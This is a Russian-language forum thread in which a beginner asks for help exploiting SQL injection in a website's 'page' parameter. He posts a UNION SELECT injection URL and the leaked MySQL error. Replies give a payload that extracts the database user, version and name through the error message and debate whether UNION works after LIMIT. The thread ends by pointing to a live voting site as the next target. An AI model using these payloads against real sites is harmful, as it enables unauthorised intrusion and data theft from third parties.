MySQL injection. http://wtf.com/country/ukraine/4/?page=-2%20union/**/select/**/45,15/* Гы, ет наверно я только так тупо запросы формирую При етом выдает нечто страшное: PHP: SELECT ai.id, ah.headline, at.full_text, am.smallimage_url as img, at.announce, lah.headline as en_name, lower(si.name), si.url, si.ahref as site_title, st.description FROM elgov_articleitem as ai, elgov_articletext as at, elgov_articleheadline as ah, elgov_subjectitem as si, elgov_subjecttitle as st JOIN elgov_articleactivity as aa LEFT JOIN elgov_articleimage as am ON (am.item_id = ai.id) LEFT JOIN elgov_articleheadline as lah ON (lah.item_id = ai.id AND lah.lang_id = 5) WHERE ai.id = ah.item_id AND ai.examine = 1 AND ai.id = at.item_id AND ah.lang_id = 7 AND at.lang_id = ah.lang_id AND ai.inode = si.id AND lower(si.name) = 'ukraine' AND st.item_id = si.id AND st.lang_id = ah.lang_id AND aa.article_id = ai.id AND aa.inode = 4 GROUP BY ai.id ORDER BY ah.headline LIMIT -45, 15 [ MYSQL ERROR ]: SELECT ai.id, ah.headline, at.full_text, am.smallimage_url as img, at.announce, lah.headline as en_name, lower(si.name), si.url, si.ahref as site_title, st.description FROM elgov_articleitem as ai, elgov_articletext as at, elgov_articleheadline as ah, elgov_subjectitem as si, elgov_subjecttitle as st JOIN elgov_articleactivity as aa LEFT JOIN elgov_articleimage as am ON (am.item_id = ai.id) LEFT JOIN elgov_articleheadline as lah ON (lah.item_id = ai.id AND lah.lang_id = 5) WHERE ai.id = ah.item_id AND ai.examine = 1 AND ai.id = at.item_id AND ah.lang_id = 7 AND at.lang_id = ah.lang_id AND ai.inode = si.id AND lower(si.name) = 'ukraine' AND st.item_id = si.id AND st.lang_id = ah.lang_id AND aa.article_id = ai.id AND aa.inode = 4 GROUP BY ai.id ORDER BY ah.headline LIMIT -45, 15 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-45, 15' at line 30 ) Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/db_sql.class.php on line 62 Warning: Cannot modify header information - headers already sent by (output started at /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/db_sql.class.php:36) in /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/server.class.php on line 209 Вы сразу скажите "линк в студию!" Но дайте мне возможность сделать ету инэкцию самому, ибо я их тока начал изучать.Да, да мануалы на ачате читал... Жду ваших советов. П.С. Просьба не кричать ЛАМЕР!, тут всьо просто!
а как на шчот строки PHP: ( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-45, 15' at line 30 )
Народ ну где тут иньекция после лимита? Тут видимо два запроса результат первого вставляется во второй но в первый раз вижу чтобы лимит был с отрицательным значением... Но тут есть огромный плюс если моя догдадка верна раз отчет об ошибках есть, то и в ошибке ты увидишь ответ на твою иньекцию то есть юзай что то типа этого: Code: http://wtf.com/country/ukraine/4/?page=-2%20union/**/select/**/CONCAT_WS(0x20,USER(),VERSION(),DATABASE()),15/* И в ошибке ты по идее должен увидеть что то типа Code: ( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-[имя юзера] [версияБД] [и имя самой БД], 15' at line 30 ) ЗЫ а вот ссылку бы не помешало бы, бо по этой тут ответ 404 ))
Spyder, если инжектируется параметр, который определяет какое-то значение из LIMIT, то что мешает с его помощью сформировать нормальный LIMIT, а потом к этому запросу сделать UNION+SELECT нужных тебе полей?
А ХЗ... Спайдер написал "инъекция после limit'a"... Я просто сказал что и в этом случае возможна успешная эксплуатация...
вот давайте он ссылку даст а вы раскрутите скуль, ок? =) ты маны по SQL читал? UNION не может идти после оператора LIMIT
Мало того, что читал, так ещё и попробовал запрос: Как думаешь, каков был результат? Правильно! Две записи! Пробовал это на MySQL 4.1.10... Ты не путаешь с тройкой? Там действительно нельзя ставить после LIMIT объединение через UNION, потому что в тройке UNION вообще не поддерживается...
вобще то ты прав, но не в данном случае union можно вставить после limit если в Select нет order by, а здесь есть попробуй Code: SELECT * from lala order by 1limit 0,1 union select * from lala where id=5
Да недоковырял я... багу прикрили Но есть новая... голосуем справа http://greatukrainians.com.ua/voting/